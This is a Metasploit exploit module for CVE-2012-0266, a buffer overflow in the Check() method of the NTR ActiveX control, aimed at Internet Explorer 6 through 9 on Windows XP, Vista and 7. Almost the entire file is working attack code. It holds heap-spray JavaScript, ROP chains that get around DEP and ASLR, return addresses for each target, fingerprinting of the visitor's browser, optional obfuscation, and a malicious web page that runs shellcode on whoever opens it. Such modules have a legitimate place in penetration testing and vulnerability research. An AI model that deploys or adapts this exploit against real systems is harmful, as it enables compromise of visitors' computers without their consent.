NTR - ActiveX Control 'Check()' Method Buffer Overflow (Metasploit)

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
#   http://metasploit.com/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
	Rank = NormalRanking

	include Msf::Exploit::Remote::HttpServer::HTML
	include Msf::Exploit::RopDb
	include Msf::Exploit::Remote::BrowserAutopwn

	autopwn_info({
		:ua_name    => HttpClients::IE,
		:ua_minver  => "6.0",
		:ua_maxver  => "9.0",
		:javascript => true,
		:os_name    => OperatingSystems::WINDOWS,
		:classid    => "{E6ACF817-0A85-4EBE-9F0A-096C6488CFEA}",
		:method     => "Check",
		:rank       => NormalRanking
	})


	def initialize(info = {})
		super(update_info(info,
			'Name'           => 'NTR ActiveX Control Check() Method Buffer Overflow',
			'Description'    => %q{
					This module exploits a vulnerability found in NTR ActiveX 1.1.8. The
				vulnerability exists in the Check() method, due to the insecure usage of strcat to
				build a URL using the bstrParams parameter contents (note: this is also the reason
				why the module won't allow you to modify the URIPATH), which leads to code execution
				under the context of the user visiting a malicious web page. In order to bypass
				DEP and ASLR on Windows Vista and Windows 7 JRE 6 is needed.
			},
			'Author'         =>
				[
					'Carsten Eiram', # Vuln discovery
					'juan vazquez' # Metasploit module
				],
			'License'        => MSF_LICENSE,
			'References'     =>
				[
					[ 'CVE', '2012-0266' ],
					[ 'OSVDB', '78252' ],
					[ 'BID', '51374' ],
					[ 'URL', 'http://secunia.com/secunia_research/2012-1/' ]
				],
			'DefaultOptions' =>
				{
					'EXITFUNC' => 'process',
				},
			'Payload'        =>
				{
					'Space' => 956,
					'DisableNops' => true,
					'BadChars'    => "",
					'PrependEncoder' => "\x81\xc4\x54\xf2\xff\xff" # Stack adjustment # add esp, -3500
				},
			'DefaultOptions'  =>
				{
					'InitialAutoRunScript' => 'migrate -f'
				},
			'Platform' => 'win',
			'Targets'        =>
				[
					# NTR ActiveX 1.1.8.0
					[ 'Automatic', {} ],
					[ 'IE 6 on Windows XP SP3',
						{
							'Rop' => nil,
							'Offset' => '0x5f4',
							'Random' => false,
							'Ret' => 0x0c0c0c0c
						}
					],
					[ 'IE 7 on Windows XP SP3',
						{
							'Rop' => nil,
							'Offset' => '0x5f4',
							'Random' => false,
							'Ret' => 0x0c0c0c0c
						}
					],
					[ 'IE 8 on Windows XP SP3',
						{
							'Rop' => :msvcrt,
							'Offset' => '0x5f4',
							'Random' => false,
							'Ret' => 0x77c15ed5 # xchg eax, esp # ret # from msvcrt
						}
					],
					[ 'IE 7 on Windows Vista',
						{
							'Rop' => nil,
							'Offset' => '0x5f4',
							'Random' => false,
							'Ret' => 0x0c0c0c0c
						}
					],
					[ 'IE 8 on Windows Vista',
						{
							'Rop' => :jre,
							'Offset' => '0x5f4',
							'Random' => false,
							'Ret' => 0x7c348b05 # xchg eax, esp # ret # from msvcrt71 from Java 6
						}
					],
					[ 'IE 8 on Windows 7',
						{
							'Rop' => :jre,
							'Offset' => '0x5f4',
							'Random' => false,
							'Ret' => 0x7c348b05 # xchg eax, esp # ret # from msvcrt71 from Java 6
						}
					],
					[ 'IE 9 on Windows 7',
						{
							'Rop' => :jre,
							'Offset' => '0x5fe',
							'Random' => true,
							'Ret' => 0x7c348b05 # xchg eax, esp # ret # from msvcrt71 from Java 6
						}
					]
				],
			'Privileged'     => false,
			'DisclosureDate' => 'Jan 11 2012',
			'DefaultTarget'  => 0))

		register_options(
			[
				OptBool.new('OBFUSCATE', [false, 'Enable JavaScript obfuscation', false])
			], self.class
		)

		deregister_options('URIPATH')

	end

	#
	# Returns a random URI path which allows to reach the vulnerable code
	#
	def resource_uri
		path = random_uri
		path << random_uri
		return path
	end


	#
	# Generates a random URI for use with making finger printing more
	# challenging.
	#
	def random_uri
		"/" + Rex::Text.rand_text_alphanumeric(rand(10) + 6)
	end

	# Spray published by corelanc0d3r
	# Exploit writing tutorial part 11 : Heap Spraying Demystified
	# See https://www.corelan.be/index.php/2011/12/31/exploit-writing-tutorial-part-11-heap-spraying-demystified/
	def get_random_spray(t, js_code, js_nops)

		spray = <<-JS

		function randomblock(blocksize)
		{
			var theblock = "";
			for (var i = 0; i < blocksize; i++)
			{
				theblock += Math.floor(Math.random()*90)+10;
			}
			return theblock;
		}

		function tounescape(block)
		{
			var blocklen = block.length;
			var unescapestr = "";
			for (var i = 0; i < blocklen-1; i=i+4)
			{
				unescapestr += "%u" + block.substring(i,i+4);
			}
			return unescapestr;
		}

		var heap_obj = new heapLib.ie(0x10000);

		var code = unescape("#{js_code}");
		var nops = unescape("#{js_nops}");

		while (nops.length < 0x80000) nops += nops;

		var offset_length = #{t['Offset']};

		for (var i=0; i < 0x1000; i++) {
			var padding = unescape(tounescape(randomblock(0x1000)));
			while (padding.length < 0x1000) padding+= padding;
			var junk_offset = padding.substring(0, offset_length);
			var single_sprayblock = junk_offset + code + nops.substring(0, 0x800 - code.length - junk_offset.length);
			while (single_sprayblock.length < 0x20000) single_sprayblock += single_sprayblock;
			sprayblock = single_sprayblock.substring(0, (0x40000-6)/2);
			heap_obj.alloc(sprayblock);
		}

		JS

		return spray
	end

	def get_spray(t, js_code, js_nops)

		spray = <<-JS
		var heap_obj = new heapLib.ie(0x20000);
		var code = unescape("#{js_code}");
		var nops = unescape("#{js_nops}");

		while (nops.length < 0x80000) nops += nops;

		var offset = nops.substring(0, #{t['Offset']});
		var shellcode = offset + code + nops.substring(0, 0x800-code.length-offset.length);

		while (shellcode.length < 0x40000) shellcode += shellcode;
		var block = shellcode.substring(0, (0x80000-6)/2);

		heap_obj.gc();
		for (var z=1; z < 449; z++) {
			heap_obj.alloc(block);
		}

		JS

		return spray

	end

	def get_target(agent)
		#If the user is already specified by the user, we'll just use that
		return target if target.name != 'Automatic'
		if agent =~ /NT 5\.1/ and agent =~ /MSIE 6/
			return targets[1] #IE 6 on Windows XP SP3
		elsif agent =~ /NT 5\.1/ and agent =~ /MSIE 7/
			return targets[2] #IE 7 on Windows XP SP3
		elsif agent =~ /NT 5\.1/ and agent =~ /MSIE 8/
			return targets[3] #IE 7 on Windows XP SP3
		elsif agent =~ /NT 6\.0/ and agent =~ /MSIE 7/
			return targets[4] #IE 7 on Windows Vista SP2
		elsif agent =~ /NT 6\.0/ and agent =~ /MSIE 8/
			return targets[5] #IE 7 on Windows Vista SP2
		elsif agent =~ /NT 6\.1/ and agent =~ /MSIE 8/
			return targets[6] #IE 7 on Windows 7 SP1
		elsif agent =~ /NT 6\.1/ and agent =~ /MSIE 9/
			return targets[7] #IE 7 on Windows 7 SP1
		else
			return nil
		end
	end

	def get_payload(t, cli)
		code = payload.encoded

		# No rop. Just return the payload.
		return code if t['Rop'].nil?

		# Both ROP chains generated by mona.py - See corelan.be
		case t['Rop']
			when :msvcrt
				print_status("Using msvcrt ROP")
				rop_payload = generate_rop_payload('msvcrt', code, {'target'=>'xp'})

			else
				print_status("Using JRE ROP")
				rop_payload = generate_rop_payload('java', code)
		end

		return rop_payload
	end

	def on_request_uri(cli, request)

		agent = request.headers['User-Agent']
		print_status("User-agent: #{agent}")

		my_target = get_target(agent)

		# Avoid the attack if the victim doesn't have a setup we're targeting
		if my_target.nil?
			print_error("Browser not supported: #{agent}")
			send_not_found(cli)
			return
		end

		p = get_payload(my_target, cli)
		js_code = Rex::Text.to_unescape(p, Rex::Arch.endian(my_target.arch))
		js_nops = Rex::Text.to_unescape("\x0c"*4, Rex::Arch.endian(my_target.arch))
		js_random_nops = Rex::Text.to_unescape(make_nops(4), Rex::Arch.endian(my_target.arch))

		if my_target['Random']
			js = get_random_spray(my_target, js_code, js_random_nops)
		else
			js = get_spray(my_target, js_code, js_nops)
		end

		js = heaplib(js, {:noobfu => true})

		if datastore['OBFUSCATE']
			js = ::Rex::Exploitation::JSObfu.new(js)
			js.obfuscate
		end

		# The overflow occurs after strcat'ing controlled data to
		# a url with the next format:
		# http://192.168.1.128:8080/asdf/mod/mod.asp?a=0&d=[USER DATA]
		#
		# The URI length can be calculated on the fly since the value
		# for the "a" param is being always 0 on my tests, even when
		# should be the result of GetTickCount
		my_uri = get_uri(cli)
		pos = my_uri.rindex("/")
		my_uri = my_uri[0, pos]
		my_uri << "/mod/mod.asp?a=0&d="

		my_badchars = "\x00\x0a\x0d\x22\x2c"

		if my_target['Rop'].nil?
			bof = rand_text_alpha(1056 - my_uri.length, my_badchars)
			bof << [my_target.ret].pack("V")
		else
			bof = rand_text_alpha(1024 - my_uri.length, my_badchars)
			bof << [0x0c0c0c0c].pack("V") # will become ESP after stackpivot
			bof << rand_text_alpha(1056 - my_uri.length - bof.length, my_badchars)
			bof << [my_target.ret].pack("V") # stackpivot
		end

		sploit = "#{bof},#{rand_text_alpha(4)},#{rand_text_alpha(4)}"

		html = <<-MYHTML
		<html>
		<head>
		<script>
		#{js}
		</script>
		</head>
		<body>
		<object classid='clsid:E6ACF817-0A85-4EBE-9F0A-096C6488CFEA' id='test'></object>
		<script>
		test.Check("#{sploit}");
		</script>
		</body>
		</html>
		MYHTML

		html = html.gsub(/^\t\t/, '')

		print_status("Sending html")
		send_response(cli, html, {'Content-Type'=>'text/html'})
	end
end